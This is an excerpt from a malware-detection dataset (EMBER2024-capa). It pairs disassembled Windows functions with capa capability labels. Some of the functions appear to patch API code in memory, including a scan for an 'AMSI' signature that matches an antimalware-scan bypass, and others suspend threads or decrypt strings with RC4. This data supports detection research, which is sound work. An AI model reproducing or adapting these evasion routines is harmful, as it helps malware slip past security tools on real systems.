joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6cfd7237
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
add esp, 0xffffff80
cmp dword [ebp + 8], 0
je 0x6cfd7350
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.6cfdaf84
cmp eax, 1
jne 0x6cfd7346
mov dword [ebp - 0x77], 0x6f727245
mov dword [ebp - 0x73], 0x6c632072
mov dword [ebp - 0x6f], 0x696e6165
mov dword [ebp - 0x6b], 0x7520676e
mov dword [ebp - 0x67], 0x70732070
mov dword [ebp - 0x63], 0x6b5f6e69
mov dword [ebp - 0x5f], 0x20737965
mov dword [ebp - 0x5b], 0x20726f66
mov dword [ebp - 0x57], 0x65726874
mov dword [ebp - 0x53], 0x206461
lea eax, [ebp - 0x4f]
mov ecx, 0x43
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov dword [esp + 8], 0xa
lea edx, [ebp - 0x77]
add edx, 0x27
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__ultoa]
call eax
mov dword [ebp - 0xc], 0x27
jmp 0x6cfd72fc
add dword [ebp - 0xc], 1
lea edx, [ebp - 0x77]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x6cfd7313
mov eax, dword [ebp - 0xc]
cmp eax, 0x69
jbe 0x6cfd72f8
mov eax, dword [ebp - 0xc]
cmp eax, 0x69
ja 0x6cfd7331
lea edx, [ebp - 0x77]
mov eax, dword [ebp - 0xc]
add eax, edx
mov byte [eax], 0xa
mov eax, dword [ebp - 0xc]
add eax, 1
mov byte [ebp + eax - 0x77], 0
lea eax, [ebp - 0x77]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call eax
sub esp, 4
call sub.msvcrt.dll_abort
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov dword [eax], edx
jmp 0x6cfd7351
nop
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret
Function at 0x6cfd82d7
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov dword [ebp - 0x1c], 0xffffffff
mov dword [esp + 4], 0x6cfd8146
mov dword [esp], 0x6d172a9c
call fcn.6cfd78ac
mov eax, dword [0x6d166e90]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x6cfd831e
mov eax, dword [ebp - 0x20]
jmp 0x6cfd8469
call fcn.6cfd7140
mov dword [ebp - 0x20], eax
mov eax, dword [entry3]
test eax, eax
je 0x6cfd8335
cmp dword [ebp - 0x20], 0
jne 0x6cfd833f
mov eax, 0
jmp 0x6cfd8469
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x24], 1
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x3c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x1c], 0xffffffff
mov eax, dword [ebp - 0x20]
lea edx, [eax + 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.6cfd7237
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x64], 0
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x20]
lea edi, [eax + 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call eax
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
test eax, eax
jne 0x6cfd8411
call sub.msvcrt.dll_abort
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadPriority]
call eax
sub esp, 4
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x6c], eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x68], 0
mov eax, dword [ebp - 0x20]
movzx edx, byte [eax + 0x20]
and edx, 0xffffffcf
or edx, 0x10
mov byte [eax + 0x20], dl
mov eax, dword [0x6d166e90]
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
test eax, eax
jne 0x6cfd8466
call sub.msvcrt.dll_abort
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x6cfd852d
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
call fcn.6cfd82d7
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xb4]
mov dword [esp], eax
call fcn.6cfd816a
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax + 0x20]
and eax, 0x30
test al, al
jne 0x6cfd8588
mov eax, dword [ebp - 0x14]
add eax, 0x70
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_longjmp]
call eax
mov eax, dword [0x6d166e90]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsGetValue]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x6cfd86b2
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x6cfd861a
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x6cfd85d7
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.6cfd704e
mov dword [ebp - 0x10], 0
mov eax, dword [0x6d166e90]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
jmp 0x6cfd86b2
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x68], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x6cfd864a
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x24]
and eax, 4
test eax, eax
je 0x6cfd86b2
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdeadbeef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.6cfd704e
mov dword [ebp - 0x10], 0
mov eax, dword [0x6d166e90]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TlsSetValue]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__endthreadex]
call eax
Function at 0x6cfe0298
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov dword [ebp - 8], 0
jmp 0x6cfe02bc
mov eax, dword [ebp - 8]
lea edx, [eax + eax]
mov eax, dword [ebp + 0xc]
add eax, edx
mov word [eax], 0
add dword [ebp - 8], 1
mov eax, dword [ebp - 8]
cmp dword [ebp + 0x10], eax
jae 0x6cfe02a8
mov dword [ebp - 0xc], 0
jmp 0x6cfe0326
mov eax, dword [ebp + 0x1c]
imul eax, dword [ebp + 0x14]
mov edx, eax
mov eax, dword [ebp + 0x18]
add eax, edx
mov dword [ebp + 0x1c], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
movzx ecx, al
mov eax, dword [ebp + 0x1c]
mov ebx, eax
mov eax, dword [ebp - 0xc]
lea edx, [eax + eax]
mov eax, dword [ebp + 0xc]
add eax, edx
xor ecx, ebx
mov edx, ecx
mov word [eax], dx
mov eax, dword [ebp - 0xc]
lea edx, [eax + eax]
mov eax, dword [ebp + 0xc]
add eax, edx
movzx eax, word [eax]
mov edx, dword [ebp - 0xc]
lea ecx, [edx + edx]
mov edx, dword [ebp + 0xc]
add edx, ecx
movzx eax, al
mov word [edx], ax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jb 0x6cfe02cd
nop
nop
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x6cfe04c4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov byte [ebp - 0x15], 0x31
mov byte [ebp - 0x14], 0xc0
mov byte [ebp - 0x13], 0xc2
mov byte [ebp - 0x12], 0x14
mov byte [ebp - 0x11], 0
mov dword [esp + 0x14], 0x7c
mov dword [esp + 0x10], 0x45
mov dword [esp + 0xc], 0x41
mov dword [esp + 8], 9
lea eax, [ebp - 0x3e]
mov dword [esp + 4], eax
mov dword [esp], 0x6d169684
call fcn.6cfe0298
lea eax, [ebp - 0x3e]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x6cfe0543
mov dword [esp + 4], 0
mov dword [esp], 0x9d
call fcn.6cfe089c
jmp 0x6cfe0653
mov dword [esp + 0x14], 0x54
mov dword [esp + 0x10], 0x65
mov dword [esp + 0xc], 0x41
mov dword [esp + 8], 0xd
lea eax, [ebp - 0x2a]
mov dword [esp + 4], eax
mov dword [esp], 0x6d1696b0
call fcn.6cfe19e0
lea eax, [ebp - 0x2a]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x6cfe05af
mov dword [esp + 4], 0
mov dword [esp], 0xa0
call fcn.6cfe089c
jmp 0x6cfe0653
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], 5
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x6cfe05fc
mov dword [esp + 4], 0
mov dword [esp], 0xa4
call fcn.6cfe089c
jmp 0x6cfe0653
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x15]
mov dword [eax], edx
movzx edx, byte [ebp - 0x11]
mov byte [eax + 4], dl
mov eax, dword [ebp - 0x10]
test eax, eax
sete al
test al, al
je 0x6cfe062d
mov dword [esp + 4], 0
mov dword [esp], 0xa7
call fcn.6cfe089c
jmp 0x6cfe0653
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 5
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
leave
ret
Function at 0x6cfe0764
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call eax
mov dword [ebp - 0xc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0xffffffff
mov dword [esp + 4], 0
mov dword [esp], 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x6cfe07af
mov eax, 0
jmp 0x6cfe089a
mov dword [ebp - 0x38], 0x1c
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_Thread32First
sub esp, 8
test eax, eax
sete al
test al, al
je 0x6cfe07ee
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
jmp 0x6cfe089a
mov eax, dword [ebp - 0x38]
cmp eax, 0xf
jbe 0x6cfe0863
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xc], eax
jne 0x6cfe0863
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x10], eax
je 0x6cfe0863
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1fffff
mov eax, dword [sym.imp.KERNEL32.dll_OpenThread]
call eax
sub esp, 0xc
mov dword [ebp - 0x18], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x18], 0
je 0x6cfe0863
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SuspendThread]
call eax
sub esp, 4
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_Thread32Next
sub esp, 8
test eax, eax
setne al
test al, al
jne 0x6cfe07ee
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
leave
ret
Function at 0x6cfe0904
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [esp + 0x14], 0x49
mov dword [esp + 0x10], 0xd5
mov dword [esp + 0xc], 0x41
mov dword [esp + 8], 8
lea eax, [ebp - 0x42]
mov dword [esp + 4], eax
mov dword [esp], 0x6d1696c0
call fcn.6cfe0298
lea eax, [ebp - 0x42]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x6cfe096f
mov dword [esp + 4], 0
mov dword [esp], 0x7b
call fcn.6cfe089c
jmp 0x6cfe0a81
mov dword [esp + 0x14], 0x55
mov dword [esp + 0x10], 0x95
mov dword [esp + 0xc], 0x21
mov dword [esp + 8], 0xe
lea eax, [ebp - 0x2f]
mov dword [esp + 4], eax
mov dword [esp], 0x6d1696a0
call fcn.6cfe19e0
lea eax, [ebp - 0x2f]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x6cfe09db
mov dword [esp + 4], 0
mov dword [esp], 0x7e
call fcn.6cfe089c
jmp 0x6cfe0a81
mov dword [ebp - 0xc], 0
jmp 0x6cfe0a74
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp eax, 0x49534d41
jne 0x6cfe0a6f
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 4
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
test eax, eax
setne al
test al, al
je 0x6cfe0a70
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x18]
mov dword [eax], edx
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x20]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
jmp 0x6cfe0a70
nop
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xfff
jle 0x6cfe09e7
leave
ret
Function at 0x6cfe1878
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6cfe1ac0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x6cfe191a
mov dword [esp + 0x14], 0x98
mov dword [esp + 0x10], 0xf7
mov dword [esp + 0xc], 0x21
mov dword [esp + 8], 0xb
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x6d169668
call fcn.6cfe19e0
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call fcn.6cfe1c24
mov dword [esp + 4], 0
mov dword [esp], 0x2af
call fcn.6cfe089c
jmp 0x6cfe1938
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
call fcn.6cfc1f29
nop
leave
ret
Function at 0x6cfe1c24
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
cmp dword [ebp + 8], 0
je 0x6cfe1e11
lea eax, [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x100
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__vsnprintf]
call eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x6cfe1e14
lea eax, [ebp - 0x320]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathW]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
jne 0x6cfe1e17
mov dword [esp + 0x14], 0x26
mov dword [esp + 0x10], 0x47
mov dword [esp + 0xc], 0x41
mov dword [esp + 8], 0xb
lea eax, [ebp - 0x544]
mov dword [esp + 4], eax
mov dword [esp], 0x6d169588
call fcn.6cfe0298
lea eax, [ebp - 0x544]
mov dword [esp + 8], eax
lea eax, [ebp - 0x320]
mov dword [esp + 4], eax
lea eax, [ebp - 0x528]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathCombineW]
call eax
sub esp, 0xc
test eax, eax
sete al
test al, al
jne 0x6cfe1e1a
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x528]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x6cfe1e1d
mov dword [ebp - 0x52c], 0
mov dword [ebp - 0x14], 0x6d16717c
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x52c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x52c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x6cfe1e1e
nop
jmp 0x6cfe1e1e
nop
jmp 0x6cfe1e1e
nop
jmp 0x6cfe1e1e
nop
jmp 0x6cfe1e1e
nop
leave
ret
Function at 0x402ecc
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
xor ebx, ebx
push 8
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402f58
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
jne 0x402f43
cmp dword [ebp + 0x10], ebx
jne 0x402f35
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402ecc
test eax, eax
jne 0x402f43
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
jmp 0x402f08
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
jmp 0x402f58
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x403351
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
cmp eax, edi
jl 0x40337e
mov ecx, dword [0x44ba98]
push edi
add eax, ecx
push edi
push eax
mov dword [0x4213cc], eax
push dword [0x40a594]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 4
pop esi
push esi
call fcn.0040347c
cmp eax, edi
jl 0x403475
lea eax, [ebp - 4]
mov ebx, dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
push eax
lea eax, [ebp + 8]
push esi
push eax
push dword [0x40a594]
call ebx
test eax, eax
je 0x403472
cmp dword [ebp - 4], esi
jne 0x403472
push dword [ebp + 8]
add dword [0x4213cc], esi
call fcn.0040347c
cmp eax, edi
mov dword [ebp - 8], eax
jl 0x403475
cmp dword [ebp + 0x10], edi
jne 0x403441
cmp dword [ebp + 8], edi
jle 0x40346d
mov esi, 0x41d388
mov edi, 0x4000
cmp dword [ebp + 8], edi
jge 0x4033f1
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push 0
push eax
push edi
push esi
push dword [0x40a594]
call ebx
test eax, eax
je 0x403472
cmp edi, dword [ebp - 4]
jne 0x403472
lea eax, [ebp + 0x14]
push 0
push eax
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x40343d
cmp dword [ebp + 0x14], edi
jne 0x40343d
mov eax, dword [ebp - 4]
add dword [ebp - 8], eax
sub dword [ebp + 8], eax
add dword [0x4213cc], eax
cmp dword [ebp + 8], 0
jg 0x4033e4
jmp 0x40346d
push 0xfffffffffffffffe
jmp 0x403474
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x40344c
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push edi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a594]
call ebx
test eax, eax
je 0x403472
mov eax, dword [ebp - 4]
add dword [0x4213cc], eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x403475
push 0xfffffffffffffffd
pop eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40347c
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov dword [esp + 0x10], ebp
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov esi, dword [0x4213cc]
mov edi, eax
sub esi, dword [0x4152fc]
add edi, 0x1f4
add esi, dword [esp + 0x1c]
cmp esi, ebp
jle 0x40364c
push dword [0x4293d8]
call fcn.0040368e
push ebp
push ebp
push dword [0x4152fc]
push dword [0x40a594]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov dword [0x4293d4], esi
mov dword [0x4213c8], ebp
mov eax, dword [0x4213d0]
mov ebx, 0x4000
sub eax, dword [0x4293d8]
cmp eax, ebx
jg 0x4034ef
mov ebx, eax
mov esi, 0x41d388
push ebx
push esi
call fcn.0040365c
test eax, eax
je 0x40360d
add dword [0x4293d8], ebx
mov dword [0x415318], esi
mov dword [0x41531c], ebx
cmp dword [0x44ba48], ebp
je 0x403580
cmp dword [0x44bae0], ebp
jne 0x403580
cmp dword [esp + 0x10], ebp
je 0x40354d
mov eax, dword [0x4293d4]
push ebp
sub eax, dword [0x4213cc]
sub eax, dword [esp + 0x20]
add eax, dword [0x4152fc]
mov dword [0x4213c8], eax
call fcn.00406503
jmp 0x403580
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
cmp eax, edi
jbe 0x403580
mov eax, dword [0x44ba44]
neg eax
sbb eax, eax
not eax
and eax, str.unpacking_data:__d__
push eax
push 0x402fa9
push ebp
push 0x6f
push dword [0x44ba40]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov dword [esp + 0x10], eax
mov ecx, 0x415300
mov dword [0x415320], 0x415388
mov dword [0x415324], 0x8000
call fcn.004065d8
test eax, eax
jl 0x403657
mov esi, dword [0x415320]
mov eax, 0x415388
sub esi, eax
je 0x4035e7
lea ecx, [esp + 0x14]
push ebp
push ecx
push esi
push eax
push dword [0x40a594]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x403612
cmp esi, dword [esp + 0x14]
jne 0x403612
add dword [0x4152fc], esi
cmp dword [0x41531c], ebp
jne 0x403515
jmp 0x4035f3
cmp dword [0x41531c], ebp
jne 0x403657
cmp ebx, ebp
je 0x403657
mov eax, dword [0x4213cc]
mov ecx, eax
sub ecx, dword [0x4152fc]
add ecx, dword [esp + 0x1c]
test ecx, ecx
jle 0x403616
jmp 0x4034d9
or eax, 0xffffffff
jmp 0x40364e
push 0xfffffffffffffffe
jmp 0x403659
push ebp
push ebp
push eax
push dword [0x40a594]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov esi, dword [esp + 0x10]
cmp esi, ebp
je 0x40364c
mov eax, dword [0x4293d4]
push ebp
push ebp
push 0x113
push esi
mov dword [0x4213c8], eax
